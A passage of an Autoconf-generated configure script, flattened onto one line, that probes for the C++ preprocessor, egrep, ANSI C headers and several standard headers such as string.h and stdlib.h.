LDFLAGS="${LDFLAGS} -lsocket -lnsl -lresolv -ldl" HAVE_LIBDL=1 ;; *-linux*) cat >>confdefs.h <<\_ACEOF #define LINUX 1 _ACEOF LDFLAGS="${LDFLAGS} -ldl -rdynamic" HAVE_LIBDL=1 ;; esac ac_ext=cc ac_cpp='$CXXCPP $CPPFLAGS' ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_cxx_compiler_gnu echo "$as_me:$LINENO: checking how to run the C++ preprocessor" >&5 echo $ECHO_N "checking how to run the C++ preprocessor... $ECHO_C" >&6 if test -z "$CXXCPP"; then if test "${ac_cv_prog_CXXCPP+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else # Double quotes because CXXCPP needs to be expanded for CXXCPP in "$CXX -E" "/lib/cpp" do ac_preproc_ok=false for ac_cxx_preproc_warn_flag in '' yes do # Use a header file that comes with gcc, so configuring glibc # with a fresh cross-compiler works. # Prefer to if __STDC__ is defined, since # exists even on freestanding compilers. # On the NeXT, cc -E runs the code through the compiler's parser, # not just through cpp. "Syntax error" is here to catch this case. cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #ifdef __STDC__ # include #else # include #endif Syntax error _ACEOF if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } >/dev/null; then if test -s conftest.err; then ac_cpp_err=$ac_cxx_preproc_warn_flag ac_cpp_err=$ac_cpp_err$ac_cxx_werror_flag else ac_cpp_err= fi else ac_cpp_err=yes fi if test -z "$ac_cpp_err"; then : else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 # Broken: fails on valid input. continue fi rm -f conftest.err conftest.$ac_ext # OK, works on sane cases. Now check whether non-existent headers # can be detected and how. cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include _ACEOF if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } >/dev/null; then if test -s conftest.err; then ac_cpp_err=$ac_cxx_preproc_warn_flag ac_cpp_err=$ac_cpp_err$ac_cxx_werror_flag else ac_cpp_err= fi else ac_cpp_err=yes fi if test -z "$ac_cpp_err"; then # Broken: success on invalid input. continue else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 # Passes both tests. ac_preproc_ok=: break fi rm -f conftest.err conftest.$ac_ext done # Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. rm -f conftest.err conftest.$ac_ext if $ac_preproc_ok; then break fi done ac_cv_prog_CXXCPP=$CXXCPP fi CXXCPP=$ac_cv_prog_CXXCPP else ac_cv_prog_CXXCPP=$CXXCPP fi echo "$as_me:$LINENO: result: $CXXCPP" >&5 echo "${ECHO_T}$CXXCPP" >&6 ac_preproc_ok=false for ac_cxx_preproc_warn_flag in '' yes do # Use a header file that comes with gcc, so configuring glibc # with a fresh cross-compiler works. # Prefer to if __STDC__ is defined, since # exists even on freestanding compilers. # On the NeXT, cc -E runs the code through the compiler's parser, # not just through cpp. "Syntax error" is here to catch this case. cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #ifdef __STDC__ # include #else # include #endif Syntax error _ACEOF if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } >/dev/null; then if test -s conftest.err; then ac_cpp_err=$ac_cxx_preproc_warn_flag ac_cpp_err=$ac_cpp_err$ac_cxx_werror_flag else ac_cpp_err= fi else ac_cpp_err=yes fi if test -z "$ac_cpp_err"; then : else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 # Broken: fails on valid input. continue fi rm -f conftest.err conftest.$ac_ext # OK, works on sane cases. Now check whether non-existent headers # can be detected and how. cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include _ACEOF if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } >/dev/null; then if test -s conftest.err; then ac_cpp_err=$ac_cxx_preproc_warn_flag ac_cpp_err=$ac_cpp_err$ac_cxx_werror_flag else ac_cpp_err= fi else ac_cpp_err=yes fi if test -z "$ac_cpp_err"; then # Broken: success on invalid input. continue else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 # Passes both tests. ac_preproc_ok=: break fi rm -f conftest.err conftest.$ac_ext done # Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped. rm -f conftest.err conftest.$ac_ext if $ac_preproc_ok; then : else { { echo "$as_me:$LINENO: error: C++ preprocessor \"$CXXCPP\" fails sanity check See \`config.log' for more details." >&5 echo "$as_me: error: C++ preprocessor \"$CXXCPP\" fails sanity check See \`config.log' for more details." >&2;} { (exit 1); exit 1; }; } fi ac_ext=cc ac_cpp='$CXXCPP $CPPFLAGS' ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_cxx_compiler_gnu echo "$as_me:$LINENO: checking for egrep" >&5 echo $ECHO_N "checking for egrep... $ECHO_C" >&6 if test "${ac_cv_prog_egrep+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else if echo a | (grep -E '(a|b)') >/dev/null 2>&1 then ac_cv_prog_egrep='grep -E' else ac_cv_prog_egrep='egrep' fi fi echo "$as_me:$LINENO: result: $ac_cv_prog_egrep" >&5 echo "${ECHO_T}$ac_cv_prog_egrep" >&6 EGREP=$ac_cv_prog_egrep echo "$as_me:$LINENO: checking for ANSI C header files" >&5 echo $ECHO_N "checking for ANSI C header files... $ECHO_C" >&6 if test "${ac_cv_header_stdc+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include #include #include #include int main () { ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_header_stdc=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_header_stdc=no fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext if test $ac_cv_header_stdc = yes; then # SunOS 4.x string.h does not declare mem*, contrary to ANSI. cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include _ACEOF if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | $EGREP "memchr" >/dev/null 2>&1; then : else ac_cv_header_stdc=no fi rm -f conftest* fi if test $ac_cv_header_stdc = yes; then # ISC 2.0.2 stdlib.h does not declare free, contrary to ANSI. cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include _ACEOF if (eval "$ac_cpp conftest.$ac_ext") 2>&5 | $EGREP "free" >/dev/null 2>&1; then : else ac_cv_header_stdc=no fi rm -f conftest* fi if test $ac_cv_header_stdc = yes; then # /bin/cc in Irix-4.0.5 gets non-ANSI ctype macros unless using -ansi. if test "$cross_compiling" = yes; then : else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include #if ((' ' & 0x0FF) == 0x020) # define ISLOWER(c) ('a' <= (c) && (c) <= 'z') # define TOUPPER(c) (ISLOWER(c) ? 'A' + ((c) - 'a') : (c)) #else # define ISLOWER(c) \ (('a' <= (c) && (c) <= 'i') \ || ('j' <= (c) && (c) <= 'r') \ || ('s' <= (c) && (c) <= 'z')) # define TOUPPER(c) (ISLOWER(c) ? ((c) | 0x40) : (c)) #endif #define XOR(e, f) (((e) && !(f)) || (!(e) && (f))) int main () { int i; for (i = 0; i < 256; i++) if (XOR (islower (i), ISLOWER (i)) || toupper (i) != TOUPPER (i)) exit(2); exit (0); } _ACEOF rm -f conftest$ac_exeext if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 (eval $ac_link) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='./conftest$ac_exeext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then : else echo "$as_me: program exited with status $ac_status" >&5 echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ( exit $ac_status ) ac_cv_header_stdc=no fi rm -f core *.core gmon.out bb.out conftest$ac_exeext conftest.$ac_objext conftest.$ac_ext fi fi fi echo "$as_me:$LINENO: result: $ac_cv_header_stdc" >&5 echo "${ECHO_T}$ac_cv_header_stdc" >&6 if test $ac_cv_header_stdc = yes; then cat >>confdefs.h <<\_ACEOF #define STDC_HEADERS 1 _ACEOF fi # On IRIX 5.3, sys/types and inttypes.h are conflicting. for ac_header in sys/types.h sys/stat.h stdlib.h string.h memory.h strings.h \ inttypes.h stdint.h unistd.h do as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` echo "$as_me:$LINENO: checking for $ac_header" >&5 echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 if eval "test \"\${$as_ac_Header+set}\" = set"; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_includes_default #include <$ac_header> _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then eval "$as_ac_Header=yes" else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 eval "$as_ac_Header=no" fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext fi echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 if test `eval echo '${'$as_ac_Header'}'` = yes; then cat >>confdefs.h <<_ACEOF #define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 _ACEOF fi done for ac_header in strings.h do as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` if eval "test \"\${$as_ac_Header+set}\" = set"; then echo "$as_me:$LINENO: checking for $ac_header" >&5 echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 if eval "test \"\${$as_ac_Header+set}\" = set"; then echo $ECHO_N "(cached) $ECHO_C" >&6 fi echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 else # Is the header compilable? echo "$as_me:$LINENO: checking $ac_header usability" >&5 echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6 cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_includes_default #include <$ac_header> _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_header_compiler=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_header_compiler=no fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext echo "$as_me:$LINENO: result: $ac_header_compiler" >&5 echo "${ECHO_T}$ac_header_compiler" >&6 # Is the header present? echo "$as_me:$LINENO: checking $ac_header presence" >&5 echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6 cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include <$ac_header> _ACEOF if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } >/dev/null; then if test -s conftest.err; then ac_cpp_err=$ac_cxx_preproc_warn_flag ac_cpp_err=$ac_cpp_err$ac_cxx_werror_flag else ac_cpp_err= fi else ac_cpp_err=yes fi if test -z "$ac_cpp_err"; then ac_header_preproc=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_header_preproc=no fi rm -f conftest.err conftest.$ac_ext echo "$as_me:$LINENO: result: $ac_header_preproc" >&5 echo "${ECHO_T}$ac_header_preproc" >&6 # So? What about this header? case $ac_header_compiler:$ac_header_preproc:$ac_cxx_preproc_warn_flag in yes:no: ) { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5 echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the compiler's result" >&5 echo "$as_me: WARNING: $ac_header: proceeding with the compiler's result" >&2;} ac_header_preproc=yes ;; no:yes:* ) { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5 echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5 echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: see the Autoconf documentation" >&5 echo "$as_me: WARNING: $ac_header: see the Autoconf documentation" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&5 echo "$as_me: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5 echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: in the future, the compiler will take precedence" >&5 echo "$as_me: WARNING: $ac_header: in the future, the compiler will take precedence" >&2;} ( cat <<\_ASBOX ## ------------------------------------------ ## ## Report this to the AC_PACKAGE_NAME lists. ## ## ------------------------------------------ ## _ASBOX ) | sed "s/^/$as_me: WARNING: /" >&2 ;; esac echo "$as_me:$LINENO: checking for $ac_header" >&5 echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 if eval "test \"\${$as_ac_Header+set}\" = set"; then echo $ECHO_N "(cached) $ECHO_C" >&6 else eval "$as_ac_Header=\$ac_header_preproc" fi echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 fi if test `eval echo '${'$as_ac_Header'}'` = yes; then cat >>confdefs.h <<_ACEOF #define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 _ACEOF fi done for ac_header in string.h do as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` if eval "test \"\${$as_ac_Header+set}\" = set"; then echo "$as_me:$LINENO: checking for $ac_header" >&5 echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 if eval "test \"\${$as_ac_Header+set}\" = set"; then echo $ECHO_N "(cached) $ECHO_C" >&6 fi echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 else # Is the header compilable? echo "$as_me:$LINENO: checking $ac_header usability" >&5 echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6 cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_includes_default #include <$ac_header> _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_header_compiler=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_header_compiler=no fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext echo "$as_me:$LINENO: result: $ac_header_compiler" >&5 echo "${ECHO_T}$ac_header_compiler" >&6 # Is the header present? echo "$as_me:$LINENO: checking $ac_header presence" >&5 echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6 cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include <$ac_header> _ACEOF if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } >/dev/null; then if test -s conftest.err; then ac_cpp_err=$ac_cxx_preproc_warn_flag ac_cpp_err=$ac_cpp_err$ac_cxx_werror_flag else ac_cpp_err= fi else ac_cpp_err=yes fi if test -z "$ac_cpp_err"; then ac_header_preproc=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_header_preproc=no fi rm -f conftest.err conftest.$ac_ext echo "$as_me:$LINENO: result: $ac_header_preproc" >&5 echo "${ECHO_T}$ac_header_preproc" >&6 # So? What about this header? case $ac_header_compiler:$ac_header_preproc:$ac_cxx_preproc_warn_flag in yes:no: ) { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5 echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the compiler's result" >&5 echo "$as_me: WARNING: $ac_header: proceeding with the compiler's result" >&2;} ac_header_preproc=yes ;; no:yes:* ) { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5 echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5 echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: see the Autoconf documentation" >&5 echo "$as_me: WARNING: $ac_header: see the Autoconf documentation" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&5 echo "$as_me: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5 echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: in the future, the compiler will take precedence" >&5 echo "$as_me: WARNING: $ac_header: in the future, the compiler will take precedence" >&2;} ( cat <<\_ASBOX ## ------------------------------------------ ## ## Report this to the AC_PACKAGE_NAME lists. ## ## ------------------------------------------ ## _ASBOX ) | sed "s/^/$as_me: WARNING: /" >&2 ;; esac echo "$as_me:$LINENO: checking for $ac_header" >&5 echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 if eval "test \"\${$as_ac_Header+set}\" = set"; then echo $ECHO_N "(cached) $ECHO_C" >&6 else eval "$as_ac_Header=\$ac_header_preproc" fi echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 fi if test `eval echo '${'$as_ac_Header'}'` = yes; then cat >>confdefs.h <<_ACEOF #define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 _ACEOF fi done for ac_header in stdlib.h do as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` if eval "test \"\${$as_ac_Header+set}\" = set"; then echo "$as_me:$LINENO: checking for $ac_header" >&5 echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 if eval "test \"\${$as_ac_Header+set}\" = set"; then echo $ECHO_N "(cached) $ECHO_C" >&6 fi echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 else # Is the header compilable? echo "$as_me:$LINENO: checking $ac_header usability" >&5 echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6 cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_includes_default #include <$ac_header> _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -z "$ac_cxx_werror_flag" || test ! -s conftest.err' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_header_compiler=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_header_compiler=no fi rm -f conftest.err conftest.$ac_objext conftest.$ac_ext echo "$as_me:$LINENO: result: $ac_header_compiler" >&5 echo "${ECHO_T}$ac_header_compiler" >&6 # Is the header present? echo "$as_me:$LINENO: checking $ac_header presence" >&5 echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6 cat >conftest.$ac_ext <<_ACEOF /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include <$ac_header> _ACEOF if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } >/dev/null; then if test -s conftest.err; then ac_cpp_err=$ac_cxx_preproc_warn_flag ac_cpp_err=$ac_cpp_err$ac_cxx_werror_flag else ac_cpp_err= fi else ac_cpp_err=yes fi if test -z "$ac_cpp_err"; then ac_header_preproc=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_header_preproc=no fi rm -f conftest.err conftest.$ac_ext echo "$as_me:$LINENO: result: $ac_header_preproc" >&5 echo "${ECHO_T}$ac_header_preproc" >&6 # So? What about this header? case $ac_header_compiler:$ac_header_preproc:$ac_cxx_preproc_warn_flag in yes:no: ) { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5 echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the compiler's result" >&5 echo "$as_me: WARNING: $ac_header: proceeding with the compiler's result" >&2;} ac_header_preproc=yes ;; no:yes:* ) { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5 echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5 echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: see the Autoconf documentation" >&5 echo "$as_me: WARNING: $ac_header: see the Autoconf documentation" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&5 echo "$as_me: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5 echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: in the future, the compiler will take precedence" >&5 echo "$as_me: WARNING: $ac_header: in the future, the compiler will take precedence" >&2;} ( cat <<\_ASBOX ## ------------------------------------------ ## ## Report this to the AC_PACKAGE_NAME lists. ## ## ------------------------------------------ ## _ASBOX ) | sed "s/^/$as_me: WARNING: /" >&2 ;; esac echo "$as_me:$LINENO: checking for $ac_header" >&5 echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 if eval "test \"\${$as_ac_Header+set}\" = set"; then echo $ECHO_N "(cached) $ECHO_C" >&6 else eval "$as_ac_Header=\$ac_header_preproc" fi echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 fi if test `eval echo '${'$as_ac_Header'}'` = yes; then cat >>confdefs.h <<_ACEOF #define `echo 